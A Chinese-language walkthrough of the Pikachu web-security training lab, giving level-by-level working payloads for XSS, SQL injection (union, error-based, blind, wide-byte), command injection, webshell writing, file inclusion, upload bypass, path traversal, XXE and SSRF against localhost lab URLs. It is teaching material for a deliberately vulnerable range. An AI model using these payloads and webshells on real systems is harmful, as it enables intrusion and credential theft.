Pikachu 通关攻略— 一网打尽所有漏洞类型Pikachu 是 Web 安全入门必刷的靶场涵盖暴力破解、XSS、CSRF、SQL 注入、RCE、文件包含、文件上传、越权、SSRF 等十几类漏洞。这份通关秘籍把每一关的完整 Payload 和解题思路都整理好了跟着走就能全通。零、Pikachu 安装修改配置编辑inc/config.inc.phpdefine(DBHOST,127.0.0.1);define(DBUSER,root);define(DBPW,root);// 改成你的 MySQL 密码define(DBNAME,pikachu);define(DBPORT,3306);初始化访问http://localhost/pikachu/install.php完成安装。一、暴力破解1.1 基于表单的暴力破解题目http://localhost/pika/vul/burteforce/bf_form.php不知道账号密码用 Burp Suite Intruder 爆破BP 拦截登录请求 → Send to IntruderAttack type:Cluster bombPayload 1: 账号字典admin, test, user…Payload 2: 密码字典123456, admin, password…Start Attack → 找响应长度不同的那条1.2 验证码绕过on server题目http://localhost/pika/vul/burteforce/bf_server.php服务端验证码一直有效不刷新解题方式和 1.1 一样BP 破解时手动输入当前验证码即可。1.3 验证码绕过on client题目http://localhost/pika/vul/burteforce/bf_client.php前端 JS 验证直接忽略。BP 抓包直接发 → 不需要验证码就能爆破。1.4 Token 防爆破题目token 每次请求都会变但服务器会在响应中返回当前有效的 token。BP Intruder 配置Attack type:PitchforkPayload 1: 密码字典Payload 2: 选择Recursive Grep从响应中提取 token线程池设为1token 必须一一对应Start Attack二、XSS跨站脚本攻击2.1 反射型 XSSGET题目http://localhost/pika/vul/xss/xss_reflected_get.php输入框限制长度 → F12 修改maxlength属性scriptalert(1)/script2.2 反射型 XSSPOST题目用admin/123456登录后提交。要求弹出 Cookiescriptalert(document.cookie)/scriptPHP 7.2 版本测试成功5.x 版本可能 httponly。2.3 存储型 XSS题目http://localhost/pika/vul/xss/xss_stored.php在留言框输入后提交每次访问页面都会触发scriptalert(1)/script2.4 DOM 型 XSS题目http://localhost/pika/vul/xss/xss_dom.php输入的数据会带入 href用伪协议javascript:alert(1)2.5 DOM 型 XSS-X题目http://localhost/pika/vul/xss/xss_dom_x.php?textasd#点击一次没反应再点一次触发。Payloadjavascript:alert(1)2.6 XSS 之盲打题目http://localhost/pika/vul/xss/xssblind/xss_blind.php前台输入没效果但管理员后台会看到。属于存储型 XSSscriptalert(1)/script管理员登录admin_login.php→ 触发弹窗。2.7 XSS 之过滤题目http://localhost/pika/vul/xss/xss_01.php过滤了script标签。大小写混写绕过sCRIPTalert(1)/scRiptSCRIPTalert(1)/SCRIPT2.8 XSS 之 htmlspecialchars题目htmlspecialchars()把预定义字符转 HTML 实体。默认配置不会过滤单引号。需要利用单引号闭合 事件触发。2.9 XSS 之 href 输出题目http://localhost/pika/vul/xss/xss_03.phpjavascript:alert(1)2.10 XSS 之 js 输出题目http://localhost/pika/vul/xss/xss_04.php注意前面有个script标签输入会被直接拼入 JS 代码中;alert(1)/script关闭前一个分号结束语句alert 执行/script闭合标签。三、CSRF跨站请求伪造3.1 CSRFGET题目http://localhost/pika/vul/csrf/csrfget/csrf_get_login.phpallen/boy登录 → 修改个人信息 → 复制修改信息的 GET URL → 构造恶意页面诱导受害者点击。3.2 CSRFPOST题目http://localhost/pika/vul/csrf/csrfpost/csrf_post.php由 GET 改成 POST方式一样。用 Burp Suite 生成 CSRF PoC → 保存为 HTML → 诱导点击。3.3 CSRF Token演示「加 Token」怎么防范 CSRF 攻击无实际漏洞利用。四、SQL 注入4.1 数字型注入POST题目http://localhost/pika/vul/sqli/sqli_id.phpid-1orderby2id-1unionselect1,2id-1unionselectdatabase(),version()id-1unionselectgroup_concat(table_name),2frominformation_schema.tableswheretable_schemapikachuid-1unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schemapikachuandtable_nameusersid-1unionselectgroup_concat(username),group_concat(password)fromusers4.2 字符类型注入GET题目http://localhost/pika/vul/sqli/sqli_str.php和 4.1 一样只是参数带引号闭合。4.3 搜索型注入题目http://localhost/pika/vul/sqli/sqli_search.php?name1 order by 2 --submit查询 ?name1unionselectdatabase(),version()--submit查询?name1 union select group_concat(table_name),2 from information_schema.tables where table_schemapikachu --submit查询 ?name1unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schemapikachuandtable_nameusers--submit查询?name1unionselectgroup_concat(username),group_concat(password)fromusers--submit查询4.4 xx 型注入题目http://localhost/pika/vul/sqli/sqli_x.php随便输入发现报错中有)→ 参数被括号包裹。用)闭合?name1) order by 3 --submit查询 ?name1)unionselect1,database(),version()--submit查询?name1) union select group_concat(table_name),2,3 from information_schema.tables where table_schemapikachu --submit查询 ?name1)unionselectgroup_concat(column_name),2,3frominformation_schema.columnswheretable_schemapikachuandtable_nameusers--submit查询?name1)unionselectgroup_concat(username),group_concat(password),3fromusers--submit查询4.5 insert/update 注入题目http://localhost/pika/vul/sqli/sqli_iu/sqli_reg.php注册成功但无回显 →报错注入 and extractvalue(1,concat(0x7e,(database()))) and 11 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemapikachu))) and 11 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemapikachu and table_nameusers))) and 11 and extractvalue(1,concat(0x7e,(select concat(username,-,password) from users limit 0,1))) and 114.6 delete 注入题目http://localhost/pika/vul/sqli/sqli_del.php和 4.5 一样用报错注入GET 方式提交?id1andextractvalue(1,concat(0x7e,(database())))?id1andextractvalue(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemapikachu)))?id1andextractvalue(1,concat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schemapikachuandtable_nameusers)))?id1andextractvalue(1,concat(0x7e,(selectconcat(username,-,password)fromuserslimit0,1)))4.7 HTTP Header 注入题目http://localhost/pika/vul/sqli/sqli_header/sqli_header.php和 insert 注入一样报错注入即可。4.8 Boolean 盲注题目http://localhost/pika/vul/sqli/sqli_blind_b.php虽然叫盲注但也可以用 union 直接拿。真正的布尔盲注解法# 判断数据库名长度?namelucy and length(database())10 --submit查询 ?namelucyandlength(database())7--submit查询# 逐字猜数据库名 → pikachu?namelucy and ascii(substr(database(),1,1))112 --submit查询 # p ?namelucyandascii(substr(database(),2,1))105--submit查询 # i?namelucy and ascii(substr(database(),3,1))107 --submit查询 # k ?namelucyandascii(substr(database(),4,1))97--submit查询 # a?namelucy and ascii(substr(database(),5,1))99 --submit查询 # c ?namelucyandascii(substr(database(),6,1))104--submit查询 # h?namelucyandascii(substr(database(),7,1))117--submit查询 # u4.9 延时盲注题目http://localhost/pika/vul/sqli/sqli_blind_t.php# 判断长度 → 睡了 正确?namelucy and if(length(database())10,sleep(5),1) --submit查询 ?namelucyandif(length(database())7,sleep(5),1)--submit查询# 逐字猜 → pikachu?namelucyandif(ascii(substr(database(),1,1))112,sleep(5),1)--submit查询 # pSQLMap 一把梭sqlmap-uhttp://192.168.244.1/pika/vul/sqli/sqli_blind_t.php?name1submit查询-pname --current-db4.10 宽字节注入背景PHP 用addslashes()把转义为\即%5c%27。但如果数据库编码为GBK%df%5c恰好组成一个汉字「運」把转义符\吃掉了单引号逃逸成功。name1%df union select version(),database() --submit查询 name1%dfunionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()--submit查询name1%df union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273 --submit查询 name1%dfunionselectgroup_concat(username),group_concat(password)frompikachu.users--submit查询%df是 GBK 编码范围内的字节与%5c\组成双字节汉字导致\失效。五、RCE远程代码/命令执行5.1 exec “ping”题目http://localhost/pika/vul/rce/rce_ping.php127.0.0.1|whoami5.2 exec “eval”题目http://localhost/pika/vul/rce/rce_eval.phpechohello;phpinfo();fputs(fopen(shell.php,w),?php assert($_POST[123]);?);写入shell.php→ 蚁剑连接密码123。六、文件包含6.1 本地文件包含题目http://localhost/pika/vul/fileinclude/fi_local.php?filenamefile6.phpsubmit提交6.2 远程文件包含题目http://localhost/pika/vul/fileinclude/fi_remote.php先在 WWW 根目录放好webshell.txt?phpfputs(fopen(shell.php,w),?php eval($_POST[123]);?);?访问?filenamehttp://127.0.0.1/webshell.txtsubmit提交伪协议读源码?filenamephp://filter/readconvert.base64-encode/resourcefi_remote.phpsubmit提交七、文件下载题目http://localhost/pika/vul/unsafedownload/down_nba.php下载地址vul/unsafedownload/execdownload.php?filenamesmallane.png路径遍历读取配置文件http://localhost/pika/vul/unsafedownload/execdownload.php?filename../../../inc/config.inc.php八、文件上传8.1 客户端检查题目http://localhost/pika/vul/unsafeupload/clientcheck.php前端 JS 验证 → 改后缀为.jpg上传 → BP 拦截改回.php。?phpphpinfo();?8.2 服务端检查题目http://localhost/pika/vul/unsafeupload/servercheck.php和 8.1 一样但注意需要同时改Content-Type为image/jpeg。8.3 getimagesize()题目http://localhost/pika/vul/unsafeupload/getimagesize.php制作图片马copy info.png /b info.php /a webshell.png上传后配合文件包含触发http://localhost/pika/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/12/05/xxxxxx.pngsubmit提交九、越权漏洞9.1 水平越权题目kobe/123456 登录 → 改 URL 中usernamekobe为usernamelilihttp://localhost/pika/vul/overpermission/op1/op1_mem.php?usernamelilisubmit点击查看个人信息看到 lili 的个人信息9.2 垂直越权题目pikachu/000000 普通用户登录 → 直接访问管理员页面http://localhost/pika/vul/overpermission/op2/op2_admin_edit.php新增用户成功原因op2_admin_edit.php没有权限判断。十、目录遍历题目http://localhost/pika/vul/dir/dir_list.php本质是文件包含 目录遍历http://localhost/pika/vul/dir/dir_list.php?title../../unsafeupload/uploads/info.php十一、敏感信息泄露题目http://localhost/pika/vul/infoleak/findabc.php查看页面源码 → 找隐藏信息。十二、PHP 反序列化题目http://localhost/pika/vul/unserilization/unser.php?phpclassS{var$testscriptalert(xss)/script;}$snewS();echoserialize($s);// 输出O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}?十三、XXE题目http://localhost/pika/vul/xxe/xxe_1.php准备1.txt内容随意构造 XXE Payload?xml version 1.0?!DOCTYPEANY[!ENTITY xxe SYSTEM file:///C://Users//86188//Desktop//tool//1.txt]fooxxe;/foo十四、URL 重定向题目http://localhost/pika/vul/urlredirect/urlredirect.phphttp://localhost/pika/vul/urlredirect/urlredirect.php?urlhttp://baidu.com配合短链接https://tool.chinaz.com/tools/dwz.aspx实现钓鱼。十五、SSRF13.1 SSRFcurl题目http://localhost/pika/vul/ssrf/ssrf_curl.php读取文件http://localhost/pika/vul/ssrf/ssrf_curl.php?urlfile:///C://Users//86188//Desktop//tool//1.txt端口探测http://localhost/pika/vul/ssrf/ssrf_curl.php?urldict://127.0.0.1:330613.2 SSRFfile_get_content题目http://localhost/pika/vul/ssrf/ssrf_fgc.php读取文件http://localhost/pika/vul/ssrf/ssrf_fgc.php?filefile:///C://Users//86188//Desktop//tool//1.txt伪协议读源码http://localhost/pika/vul/ssrf/ssrf_fgc.php?filephp://filter/readconvert.base64-encode/resourcessrf_fgc.php全关卡通关联照表分类关卡数核心 Payload 关键词暴力破解4 关Cluster bomb / Recursive Grep / TokenXSS10 关script/javascript:/ 大小写 / 闭合CSRF3 关PoC 生成 / GET 改 POSTSQL 注入10 关union / extractvalue / sleep / %df 宽字节RCE2 关| whoami/ eval fputs 写马文件包含2 关php://filter/ 远程 http 包含文件下载1 关../../../路径遍历文件上传3 关后缀绕过 / Content-Type / 图片马越权2 关改 URL 参数 / 直接访问未授权页面目录遍历1 关../../敏感信息1 关源码查看反序列化1 关serialize / unserializeXXE1 关!ENTITY xxe SYSTEM file:///...URL 重定向1 关?url参数SSRF2 关file:///dict:///php://filter写在最后Pikachu 靶场覆盖了 Web 安全中几乎所有的经典漏洞类型。这份通关攻略不仅能帮你刷完全关还能作为日常写 Payload 时的速查手册。通关不是终点把每种漏洞的原理吃透才是目的。